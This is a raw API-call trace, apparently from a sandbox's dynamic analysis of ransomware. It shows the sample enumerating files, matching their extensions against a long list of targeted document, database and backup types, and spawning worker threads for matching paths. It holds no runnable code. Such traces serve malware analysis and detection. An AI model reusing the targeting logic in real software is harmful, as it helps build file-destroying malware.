	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".bmp", _SubStr=".mzz") returned 0x0
	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".tif", _SubStr=".mzz") returned 0x0
	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".1cd", _SubStr=".mzz") returned 0x0
	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".tax", _SubStr=".mzz") returned 0x0
	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".gif", _SubStr=".mzz") returned 0x0
	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".gbr", _SubStr=".mzz") returned 0x0
	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".png", _SubStr=".mzz") returned 0x0
	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".mdb", _SubStr=".mzz") returned 0x0
	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".mdf", _SubStr=".mzz") returned 0x0
	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".sdf", _SubStr=".mzz") returned 0x0
	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".dwg", _SubStr=".mzz") returned 0x0
	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".dxf", _SubStr=".mzz") returned 0x0
	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".dgn", _SubStr=".mzz") returned 0x0
	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".stl", _SubStr=".mzz") returned 0x0
	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".gho", _SubStr=".mzz") returned 0x0
	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".v2i", _SubStr=".mzz") returned 0x0
	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".3ds", _SubStr=".mzz") returned 0x0
	[0082.618] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.618] wcsstr (_Str=".ppt", _SubStr=".mzz") returned 0x0
	[0082.618] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.618] wcsstr (_Str=".acc", _SubStr=".mzz") returned 0x0
	[0082.618] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.618] wcsstr (_Str=".vpd", _SubStr=".mzz") returned 0x0
	[0082.618] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.618] wcsstr (_Str=".odt", _SubStr=".mzz") returned 0x0
	[0082.618] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.618] wcsstr (_Str=".ods", _SubStr=".mzz") returned 0x0
	[0082.668] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.668] wcsstr (_Str=".rar", _SubStr=".mzz") returned 0x0
	[0082.668] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.668] wcsstr (_Str=".zip", _SubStr=".mzz") returned 0x0
	[0082.669] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.669] wcsstr (_Str=".cpp", _SubStr=".mzz") returned 0x0
	[0082.669] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.669] wcsstr (_Str=".pas", _SubStr=".mzz") returned 0x0
	[0082.669] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.669] wcsstr (_Str=".asm", _SubStr=".mzz") returned 0x0
	[0082.669] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.669] wcsstr (_Str=".rtf", _SubStr=".mzz") returned 0x0
	[0082.669] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.669] wcsstr (_Str=".lic", _SubStr=".mzz") returned 0x0
	[0082.669] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.669] wcsstr (_Str=".avi", _SubStr=".mzz") returned 0x0
	[0082.669] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.669] wcsstr (_Str=".mov", _SubStr=".mzz") returned 0x0
	[0082.669] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.669] wcsstr (_Str=".mp3", _SubStr=".mzz") returned 0x0
	[0082.669] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.669] wcsstr (_Str=".vbs", _SubStr=".mzz") returned 0x0
	[0082.669] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.669] wcsstr (_Str=".v8i", _SubStr=".mzz") returned 0x0
	[0082.669] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.669] wcsstr (_Str=".erf", _SubStr=".mzz") returned 0x0
	[0082.669] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.669] wcsstr (_Str=".epf", _SubStr=".mzz") returned 0x0
	[0082.669] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.669] wcsstr (_Str=".mxl", _SubStr=".mzz") returned 0x0
	[0082.669] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.669] wcsstr (_Str=".cfu", _SubStr=".mzz") returned 0x0
	[0082.669] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.669] wcsstr (_Str=".mht", _SubStr=".mzz") returned 0x0
	[0082.669] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.669] wcsstr (_Str=".bak", _SubStr=".mzz") returned 0x0
	[0082.669] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.669] wcsstr (_Str=".old", _SubStr=".mzz") returned 0x0
	[0082.669] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1
	[0082.670] wcsncmp (_String1="n", _String2=".", _MaxCount=0x1) returned 64
	[0082.670] wcsncmp (_String1="ne", _String2="..", _MaxCount=0x2) returned 64
	[0082.670] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.670] wcsstr (_Str=".bak", _SubStr=".msi") returned 0x0
	[0082.670] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.670] wcsstr (_Str=".bat", _SubStr=".msi") returned 0x0
	[0082.670] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.670] wcsstr (_Str=".doc", _SubStr=".msi") returned 0x0
	[0082.670] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.670] wcsstr (_Str=".jpg", _SubStr=".msi") returned 0x0
	[0082.670] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.670] wcsstr (_Str=".jpe", _SubStr=".msi") returned 0x0
	[0082.670] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.670] wcsstr (_Str=".txt", _SubStr=".msi") returned 0x0
	[0082.670] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.670] wcsstr (_Str=".tex", _SubStr=".msi") returned 0x0
	[0082.670] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.670] wcsstr (_Str=".dbf", _SubStr=".msi") returned 0x0
	[0082.670] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.670] wcsstr (_Str=".xls", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".cry", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".xml", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".vsd", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".pdf", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".csv", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".bmp", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".tif", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".1cd", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".tax", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".gif", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".gbr", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".png", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".mdb", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".mdf", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".sdf", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".dwg", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".dxf", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".dgn", _SubStr=".msi") returned 0x0
	[0082.671] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.671] wcsstr (_Str=".stl", _SubStr=".msi") returned 0x0
	[0082.672] _wcslwr (in: _String=0x3173b08 | out: _String=".msi") returned=".msi"
	[0082.672] wcsstr (_Str=".gho", _SubStr=".msi") returned 0x0
	[0082.672] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1
	[0082.672] wcsncmp (_String1="n", _String2=".", _MaxCount=0x1) returned 64
	[0082.672] wcsncmp (_String1="ne", _String2="..", _MaxCount=0x2) returned 64
	[0082.672] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0082.672] wcsncmp (_String1="P", _String2=".", _MaxCount=0x1) returned 34
	[0082.672] wcsncmp (_String1="Pa", _String2="..", _MaxCount=0x2) returned 34
	[0082.672] malloc (_Size=0x1000) returned 0x2f2b560
	[0082.672] _swprintf (in: param_1=0x2f2b560, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0082.672] wcsstr (_Str="C:\\588bce7c90097ed212\\ParameterInfo.xml", _SubStr="CoronaVirus") returned 0x0
	[0082.672] wcsstr (_Str="C:\\588bce7c90097ed212\\ParameterInfo.xml", _SubStr="wasse") returned 0x0
	[0082.672] wcsstr (_Str="C:\\588bce7c90097ed212\\ParameterInfo.xml", _SubStr="passw") returned 0x0
	[0082.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f2b560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4
	[0082.673] SetThreadPriority (hThread=0x4e4, nPriority=15) returned 1
	[0082.677] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1
	[0082.677] wcsncmp (_String1="R", _String2=".", _MaxCount=0x1) returned 36
	[0082.677] wcsncmp (_String1="RG", _String2="..", _MaxCount=0x2) returned 36
	[0082.677] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.677] wcsstr (_Str=".bak", _SubStr=".msi") returned 0x0
	[0082.677] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.677] wcsstr (_Str=".bat", _SubStr=".msi") returned 0x0
	[0082.677] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.677] wcsstr (_Str=".doc", _SubStr=".msi") returned 0x0
	[0082.683] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.683] wcsstr (_Str=".jpg", _SubStr=".msi") returned 0x0
	[0082.683] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.683] wcsstr (_Str=".jpe", _SubStr=".msi") returned 0x0
	[0082.683] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.683] wcsstr (_Str=".txt", _SubStr=".msi") returned 0x0
	[0082.684] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.684] wcsstr (_Str=".tex", _SubStr=".msi") returned 0x0
	[0082.689] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.689] wcsstr (_Str=".dbf", _SubStr=".msi") returned 0x0
	[0082.689] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.689] wcsstr (_Str=".xls", _SubStr=".msi") returned 0x0
	[0082.689] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.689] wcsstr (_Str=".cry", _SubStr=".msi") returned 0x0
	[0082.689] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.690] wcsstr (_Str=".xml", _SubStr=".msi") returned 0x0
	[0082.690] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.690] wcsstr (_Str=".vsd", _SubStr=".msi") returned 0x0
	[0082.690] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.690] wcsstr (_Str=".pdf", _SubStr=".msi") returned 0x0
	[0082.690] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.690] wcsstr (_Str=".csv", _SubStr=".msi") returned 0x0
	[0082.690] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.690] wcsstr (_Str=".bmp", _SubStr=".msi") returned 0x0
	[0082.690] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.690] wcsstr (_Str=".tif", _SubStr=".msi") returned 0x0
	[0082.690] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.690] wcsstr (_Str=".1cd", _SubStr=".msi") returned 0x0
	[0082.701] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.701] wcsstr (_Str=".tax", _SubStr=".msi") returned 0x0
	[0082.701] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.739] wcsstr (_Str=".gif", _SubStr=".msi") returned 0x0
	[0082.740] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.740] wcsstr (_Str=".gbr", _SubStr=".msi") returned 0x0
	[0082.740] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.740] wcsstr (_Str=".png", _SubStr=".msi") returned 0x0
	[0082.740] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.740] wcsstr (_Str=".mdb", _SubStr=".msi") returned 0x0
	[0082.751] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.751] wcsstr (_Str=".mdf", _SubStr=".msi") returned 0x0
	[0082.751] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.751] wcsstr (_Str=".sdf", _SubStr=".msi") returned 0x0
	[0082.751] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.751] wcsstr (_Str=".dwg", _SubStr=".msi") returned 0x0
	[0082.751] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.751] wcsstr (_Str=".dxf", _SubStr=".msi") returned 0x0
	[0082.751] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.751] wcsstr (_Str=".dgn", _SubStr=".msi") returned 0x0
	[0082.751] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.751] wcsstr (_Str=".stl", _SubStr=".msi") returned 0x0
	[0082.751] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.751] wcsstr (_Str=".gho", _SubStr=".msi") returned 0x0
	[0082.751] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.751] wcsstr (_Str=".v2i", _SubStr=".msi") returned 0x0
	[0082.751] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.751] wcsstr (_Str=".3ds", _SubStr=".msi") returned 0x0
	[0082.751] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.751] wcsstr (_Str=".ppt", _SubStr=".msi") returned 0x0
	[0082.751] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.751] wcsstr (_Str=".acc", _SubStr=".msi") returned 0x0
	[0082.751] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.751] wcsstr (_Str=".vpd", _SubStr=".msi") returned 0x0
	[0082.751] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.751] wcsstr (_Str=".odt", _SubStr=".msi") returned 0x0
	[0082.751] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.751] wcsstr (_Str=".ods", _SubStr=".msi") returned 0x0
	[0082.751] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.751] wcsstr (_Str=".rar", _SubStr=".msi") returned 0x0
	[0082.751] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.751] wcsstr (_Str=".zip", _SubStr=".msi") returned 0x0
	[0082.751] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.752] wcsstr (_Str=".cpp", _SubStr=".msi") returned 0x0
	[0082.752] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.752] wcsstr (_Str=".pas", _SubStr=".msi") returned 0x0
	[0082.752] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.752] wcsstr (_Str=".asm", _SubStr=".msi") returned 0x0
	[0082.752] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.752] wcsstr (_Str=".rtf", _SubStr=".msi") returned 0x0
	[0082.752] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.752] wcsstr (_Str=".lic", _SubStr=".msi") returned 0x0
	[0082.752] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.752] wcsstr (_Str=".avi", _SubStr=".msi") returned 0x0
	[0082.752] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.752] wcsstr (_Str=".mov", _SubStr=".msi") returned 0x0
	[0082.752] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.752] wcsstr (_Str=".mp3", _SubStr=".msi") returned 0x0
	[0082.752] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.752] wcsstr (_Str=".vbs", _SubStr=".msi") returned 0x0
	[0082.752] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.752] wcsstr (_Str=".v8i", _SubStr=".msi") returned 0x0
	[0082.752] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.752] wcsstr (_Str=".erf", _SubStr=".msi") returned 0x0
	[0082.752] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.752] wcsstr (_Str=".epf", _SubStr=".msi") returned 0x0
	[0082.752] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.752] wcsstr (_Str=".mxl", _SubStr=".msi") returned 0x0
	[0082.752] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.752] wcsstr (_Str=".cfu", _SubStr=".msi") returned 0x0
	[0082.752] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.752] wcsstr (_Str=".mht", _SubStr=".msi") returned 0x0
	[0082.752] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.752] wcsstr (_Str=".bak", _SubStr=".msi") returned 0x0
	[0082.752] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.752] wcsstr (_Str=".old", _SubStr=".msi") returned 0x0
	[0082.752] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1
	[0082.752] wcsncmp (_String1="R", _String2=".", _MaxCount=0x1) returned 36
	[0082.752] wcsncmp (_String1="RG", _String2="..", _MaxCount=0x2) returned 36
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".bak", _SubStr=".msi") returned 0x0
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".bat", _SubStr=".msi") returned 0x0
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".doc", _SubStr=".msi") returned 0x0
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".jpg", _SubStr=".msi") returned 0x0
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".jpe", _SubStr=".msi") returned 0x0
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".txt", _SubStr=".msi") returned 0x0
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".tex", _SubStr=".msi") returned 0x0
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".dbf", _SubStr=".msi") returned 0x0
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".xls", _SubStr=".msi") returned 0x0
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".cry", _SubStr=".msi") returned 0x0
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".xml", _SubStr=".msi") returned 0x0
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".vsd", _SubStr=".msi") returned 0x0
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".pdf", _SubStr=".msi") returned 0x0
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".csv", _SubStr=".msi") returned 0x0
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".bmp", _SubStr=".msi") returned 0x0
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".tif", _SubStr=".msi") returned 0x0
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".1cd", _SubStr=".msi") returned 0x0
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".tax", _SubStr=".msi") returned 0x0
	[0082.753] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.753] wcsstr (_Str=".gif", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.754] wcsstr (_Str=".gbr", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.754] wcsstr (_Str=".png", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.754] wcsstr (_Str=".mdb", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.754] wcsstr (_Str=".mdf", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.754] wcsstr (_Str=".sdf", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.754] wcsstr (_Str=".dwg", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
